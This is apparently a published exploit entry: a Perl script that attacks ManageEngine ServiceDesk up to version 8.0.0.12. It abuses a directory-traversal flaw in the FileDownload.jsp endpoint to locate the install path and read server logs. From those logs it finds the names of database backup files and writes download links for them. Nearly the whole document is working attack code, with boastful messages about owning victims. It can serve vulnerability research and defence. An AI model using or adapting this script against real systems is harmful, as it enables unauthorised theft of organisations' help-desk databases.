# Exploit Title: ManageEngine ServiceDesk <= 8.0.0.12 Database Disclosure
# Google Dork: none
# Date: 07.07.2011
# Author: @ygoltsev
# Software Link: http://www.manageengine.com/
# Version: <=8.0.0.12
# Tested on: Windows
# CVE : None
 
  
 
#!/usr/bin/perl
use LWP::UserAgent;
use File::stat;
 
$ptxt="
#################################################
# _____             _         ____          _  
#|   __|___ ___ _ _|_|___ ___|    \ ___ ___| |_
#|__   | -_|  _| | | |  _| -_|  |  | -_|_ -| '_|
#|_____|___|_|  \_/|_|___|___|____/|___|___|_,_|
#                                           
#################################################
 [0-day] [Database disclosure]
[desc: Exploit for ServiceDesk v *.* OS: Windows]
";
 
print $ptxt;
 
  
 
$ua=LWP::UserAgent->new();
 
  
 
$url="http://127.0.0.1";
 
$path="/workorder/FileDownload.jsp";
 
  
 
  
 
$installPath=&getInstallPathWin($url,$path);
 
  
 
if ($installPath ne "") {
 
                @backups=&getServerOutLogs($url,$path,$installPath);
 
} else {
 
                print "Install path not found :(\n";
 
                exit();
 
}
 
  
 
if (scalar(@backups)>0) {
 
                print "hehe.. We got paths to backup files..\n If they are
on the same drive and exists - we will own their world!!\n";
 
                foreach $backLine (@backups) {
 
                               @backInfo=split(/ --- /,$backLine);
 
                               #print "Trying to download $backInfo[1] from
$backInfo[0]...\n";
 
                               &downloadBackups($url,$path,$backLine);
 
                }
 
}
 
unlink("bad");
 
  
 
print "Dude, check out \'db_backups.html\'\n";
 
  
 
  
 
sub downloadBackups {
 
                my ($url,$path,$backLine) = @_;
 
                @backInfo=split(/ --- /,$backLine);
 
  
$backupUrl="${url}${path}?module=agent\&path=./\&delete=false\&FILENAME=..\\
..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\
..\\..\\..\\..\\$backInfo[0]$backInfo[1]";
 
                #$br=$ua->get($backupUrl);
 
                #if ($br->is_success) {
 
                #             open(A,">$backInfo[1]");
 
                #             print A $br->content;
 
                #             close(A);
 
                #}
 
                open(A,">>db_backups.html");
 
                print A "<a href='$backupUrl'>$backInfo[1]</a><br>\n";
 
                close(A);
 
}
 
  
 
  
 
  
 
sub getServerOutLogs {
 
                my ($url,$path,$installPath) = @_;
 
                 
 
  
$badUrl="${url}${path}?module=agent\&path=./\&delete=false\&FILENAME=..\\..\
\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\
\..\\..\\..\\${installPath}server\\default\\log\\serverout11111111111${i}.tx
t";
 
                $br=$ua->get($badUrl);
 
                if ($br->is_success) {
 
                               open(A,">bad");
 
                               print A $br->content;
 
                               close(A);
 
                }
 
  
 
                for ($i=0;$i<=10;$i++) {
 
  
$logUrl="${url}${path}?module=agent\&path=./\&delete=false\&FILENAME=..\\..\
\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\
\..\\..\\..\\${installPath}server\\default\\log\\serverout${i}.txt";
 
                               $br=$ua->get($logUrl);
 
                               if ($br->is_success) {
 
                                               open(A,">${i}.txt");
 
                                               print A $br->content;
 
                                               close(A);
 
                                               if
(stat("bad")->size!=stat("${i}.txt")->size) {
 
                                               } else {
 
  
unlink("${i}.txt");
 
                                               }
 
                               }
 
                }
 
  
 
                for ($i=0;$i<=10;$i++) {
 
                               if (-e "${i}.txt") {
 
                                               open(A,"${i}.txt");
 
                                               @log=<A>;
 
                                               close(A);
 
                                               foreach $line (@log) {
 
                                                               if ($line=~/:
Build number(.*): ([0-9]+)\|/) {
 
  
$tBuild=$2;
 
  
if ($sdBuild eq "") {
 
  
$sdBuild=$tBuild;
 
  
}
 
                                                               }
 
                                                               if
($line=~/\[([0-9]+):([0-9]+):([0-9]+):([0-9]+)\]\|\[([0-9]+)-([0-9]+)-([0-9]
+)\]\|\[SYSOUT\](.*)BACKUPDIR=(.*), ATTACHMENT=/) {
 
  
push(@backups,"$9 ---
backup_servicedesk_XBUILDX_database_${5}_${6}_${7}_${1}_${2}.data");
 
  
 
 
                                                               }
 
                                               }
 
                                               unlink("${i}.txt");
 
                               }
 
                }
 
                 
 
                if (scalar(@backups)>0) {
 
                               print "Man, you are realy lucky! We found
some info about ServiceDesk backups..\nBUT, I need your help now,
hehe\nLet's construct directories!\np.s. type without drive letter, like
\\backup\\\n";
 
                } else {
 
                               print "Bad luck.. Check your karma,
seriously..Where is my fucking latte!?!?\np.s. No info about backups was
found :(";
 
                               exit();
 
                }
 
                 
 
                foreach $mb (@backups) {
 
                               $mb=~s/XBUILDX/$sdBuild/gi;
 
                               @dir=split(/ --- /,$mb);
 
                               print "Trash Dir: $dir[0]\n";
 
                               print "Right Dir: ";
 
                               chomp($rDir=<STDIN>);
 
                               if ($rDir ne "") {
 
                                               $fullDB=$dir[1];
 
  
$fullDB=~s/database/fullbackup/gi;
 
                                               push(@backupFiles,"$rDir ---
$dir[1]");
 
                                               push(@backupFiles,"$rDir ---
$fullDB");
 
                               }
 
                }
 
                return @backupFiles;
 
}
 
  
 
  
 
  
 
  
 
sub getInstallPathWin {
 
                my ($url,$path) = @_;
 
  
$url1="${url}${path}?module=agent\&path=./\&delete=false\&FILENAME=..\\..\\.
.\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\.
.\\..\\..\\";
 
                @paths=("ServiceDesk\\","ManageEngine\\ServiceDesk\\");
 
  
@checkFiles=("dashgjifyq8412348fhsjfghjqw.txt","COPYRIGHT","logs\\configport
.txt","bin\\run.bat","server\\default\\log\\boot.log");
 
                $i=0;
 
                foreach $p (@paths) {
 
                               $k=0;
 
                               foreach $f (@checkFiles) {
 
                                               $checkUrl="${url1}${p}${f}";
 
                                               $br=$ua->get($checkUrl);
 
                                               if ($br->is_success) {
 
  
open(A,">${i}${k}");
 
                                                               print A
$br->content;
 
                                                               close(A);
 
                                               }
 
                                               $k++;
 
                               }
 
                               $i++;
 
                }
 
                for ($i=0;$i<scalar(@paths);$i++) {
 
                               $ok=0;
 
                               for ($k=0;$k<scalar(@checkFiles);$k++) {
 
                                               if (-e "${i}${k}") {
 
                                                               if ($k==0) {
 
  
$incorrectSize=stat("${i}${k}")->size;
 
                                                               } else {
 
  
if (stat("${i}${k}")->size!=$incorrectSize) {
 
  
$ok++;
 
  
}
 
                                                               }
 
                                               }
 
                               }
 
                               if ($ok>0) {
 
                                               if ($ok==4) {
 
                                                               print "You
are lucky! \nServiceDesk installed to: $paths[$i]\n";
 
  
$ret=$paths[$i];
 
                                               } elsif ($ok>2) {
 
                                                               print "I
think ServiceDesk installed to: $paths[$i]\n";
 
  
$ret=$paths[$i];
 
                                               } elsif ($ok>1) {
 
                                                               print "You
are lucky if ServiceDesk installed to: $paths[$i]\n";
 
  
$ret=$paths[$i];
 
                                               }
 
                               }
 
                }
 
  
 
  
 
                for ($i=0;$i<scalar(@paths);$i++) {
 
                               for ($k=0;$k<scalar(@checkFiles);$k++) {
 
                                               unlink("${i}${k}");
 
                               }
 
                }
 
  
 
                if ($ret eq "") {
 
                               print "Bad luck man :\/\n";        
 
                               $ret=0;
 
                }
 
                return $ret;
 
}